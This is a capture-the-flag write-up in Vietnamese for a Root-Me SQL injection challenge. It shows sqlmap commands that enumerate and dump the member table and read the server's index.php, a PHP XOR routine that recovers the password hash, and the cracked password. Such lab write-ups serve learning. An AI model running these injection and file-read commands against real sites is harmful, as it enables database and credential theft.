Ta thấy trang không filter đầu vào

Đầu tiên ta sẽ thực hiện các lệnh thăm dò

Thăm dò db

py sqlmap.py -u "http://challenge01.root-me.org/web-serveur/ch31/?action=members&id=1" --dbs

Text

Description automatically generated

Thăm dò table

sqlmap -u "http://challenge01.root-me.org/web-serveur/ch31/?action=members&id=1" --tables -D c\_webserveur\_31

Text

Description automatically generated

Thăm dò cột

py sqlmap.py -u "http://challenge01.root-me.org/web-serveur/ch31/?action=members&id=1" --columns -D c\_webserveur\_31 -T member

Text

Description automatically generated

Thực hiện dump

py sqlmap.py -u "http://challenge01.root-me.org/web-serveur/ch31/?action=members&id=1" --dump -D c\_webserveur\_31 -T member

Text

Description automatically generated

Mempass: VA5QA1cCVQgPXwEAXwZVVVsHBgtfUVBaV1QEAwIFVAJWAwBRC1tRVA==

Tìm code và key

python sqlmap.py -u "http://challenge01.root-me.org/web-serveur/ch31/?action=members&id=1" —-file-read=/challenge/web-serveur/ch31/index.php

Text

Description automatically generated

Key: c92fcd618967933ac463feb85ba00d5a7ae52842

Viết code php để giải password

<?php

function stringxor($o1, $o2) {

$res = '';

for($i=0;$i<strlen($o1);$i++)

$res .= chr(ord($o1[$i]) ^ ord($o2[$i]));

return $res;

}

$key = "c92fcd618967933ac463feb85ba00d5a7ae52842";

echo "sha1 of password is: ".stringxor($key,base64\_decode('VA5QA1cCVQgPXwEAXwZVVVsHBgtfUVBaV1QEAwIFVAJWAwBRC1tRVA=='));

?>

A screenshot of a computer

Description automatically generated

Có được hash

Sha1: 77be4fc97f77f5f48308942bb6e32aacabed9cef

Tìm hash

A screenshot of a computer

Description automatically generated

**superpassword**